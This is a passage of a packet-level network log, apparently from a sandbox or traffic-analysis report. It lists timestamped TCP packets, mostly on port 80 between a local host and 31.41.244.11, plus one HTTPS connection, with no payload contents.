Dec 20, 2024 02:11:21.030704975 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.030747890 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.030806065 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.030848026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.032092094 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.032141924 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.032203913 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.032247066 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.033503056 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.033550024 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.033613920 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.033657074 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.034902096 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.034971952 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.088886023 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.088898897 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.089225054 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.090792894 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.090817928 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.090866089 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.150521040 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.150587082 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.150677919 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.150679111 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.151125908 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.151176929 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.151184082 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.151228905 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.152164936 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.152220011 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.152237892 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.152277946 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.153259039 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.153337002 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.153425932 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.153485060 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.154341936 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.154393911 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.154457092 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.154501915 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.155426979 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.155483961 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.155520916 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.155564070 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.156496048 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.156543016 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.156610966 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.156653881 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.157594919 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.157645941 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.157722950 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.157766104 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.158649921 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.158706903 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.158787966 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.158837080 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.159672976 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.159735918 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.159801006 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.159846067 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.160773993 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.160847902 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.160891056 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.160937071 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.161833048 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.161906958 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.161942005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.162019968 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.162895918 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.162949085 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.162990093 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.163151979 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.163947105 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.163997889 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.164088011 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.164133072 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.164989948 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.165046930 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.165096045 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.165143013 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.166069984 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.166134119 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.166157007 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.166213036 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.167143106 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.167192936 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.167234898 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.167284012 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.168200016 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.168256998 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.168299913 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.168344021 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.169286966 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.169333935 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.169405937 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.169456005 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.170342922 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.170408010 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.170470953 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.170525074 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.171391964 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.171437979 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.171463966 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.171493053 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.172496080 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.172549009 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.172610998 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.172671080 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.173533916 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.173599005 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.173650026 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.173708916 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.174597979 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.174659967 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.174732924 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.174797058 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.175667048 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.175738096 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.175779104 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.175839901 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.176750898 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.176810026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.176832914 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.176886082 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.177953005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.178004026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.178092957 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.178143978 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.178894997 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.178953886 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.179027081 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.179085016 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.179958105 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.180018902 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.180089951 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.180151939 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.180969954 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.181050062 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.181102037 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.181144953 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.182045937 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.182156086 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.182172060 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.182214022 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.183140993 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.183188915 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.183240891 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.183293104 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.184184074 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.184247017 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.184312105 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.184361935 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.185255051 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.185307026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.185353041 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.185405970 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.186348915 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.186412096 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.186455011 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.186500072 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.187400103 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.187448025 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.187495947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.187562943 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.188457012 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.188508034 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.188549995 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.188605070 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.189516068 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.189564943 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.189623117 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.189663887 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.190563917 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.190618038 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.190655947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.190709114 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.191674948 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.191725016 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.191950083 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.191994905 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.192691088 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.192749023 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.192790031 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.192837000 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.193742037 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.193802118 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.193842888 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.193886042 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.194844961 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.194889069 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.194890022 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.194931984 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.195888042 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.195940018 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.196010113 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.196052074 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.196949959 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.196996927 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.197040081 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.197079897 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.198019981 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.198055983 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.198126078 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.198170900 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.199065924 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.199126959 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.199168921 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.199209929 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.200140953 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.200237036 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.200269938 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.200329065 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.201184034 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.201231956 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.201246977 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.201293945 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.202302933 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.202385902 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.202418089 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.202469110 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.203331947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.203382969 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.203409910 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.203450918 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.204405069 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.204483032 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.204488993 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.204525948 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.205477953 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.205537081 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.205616951 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.205672026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.206492901 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.206541061 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.342926979 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.343007088 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.343017101 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.343087912 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.343468904 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.343549967 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.343554974 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.343600035 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.344551086 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.344573975 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.344613075 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.344646931 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.345618010 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.345679998 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.345726013 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.345794916 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.346704960 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.346767902 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.346920013 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.346971989 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.347733021 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.347781897 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.347814083 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.347877026 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.348783970 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.348855972 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.348895073 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.348943949 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.349877119 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.349939108 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.349992990 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.350037098 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.350950956 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.351003885 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.351062059 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.351108074 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.351990938 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.352039099 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.352075100 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.352127075 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.353035927 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.353084087 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.353142023 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.353188992 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.354130983 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.354173899 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.354327917 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.354384899 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.355206966 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.355252981 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.355293989 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.355343103 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.356239080 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.356288910 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.356319904 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.356368065 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.357322931 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.357372999 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.357424974 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.357471943 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.358385086 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.358432055 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.358489037 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.358535051 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.359461069 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.359509945 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.359596968 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.359643936 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.360547066 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.360564947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.360594034 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.360616922 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.361588001 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.361638069 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.361674070 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.361732960 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.362637997 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.362684011 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.362741947 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.362788916 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.363743067 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.363754034 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.363831043 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.364773035 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.364824057 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.364854097 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.364906073 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.365866899 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.365915060 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.365971088 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.366017103 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.366883993 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.366935015 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.366985083 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.367027998 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.367969036 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.368016958 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.368067980 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.368110895 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.369018078 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.369071960 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.369163036 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.369205952 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.370080948 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.370130062 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.370197058 CET	80	49855	31.41.244.11	192.168.2.5
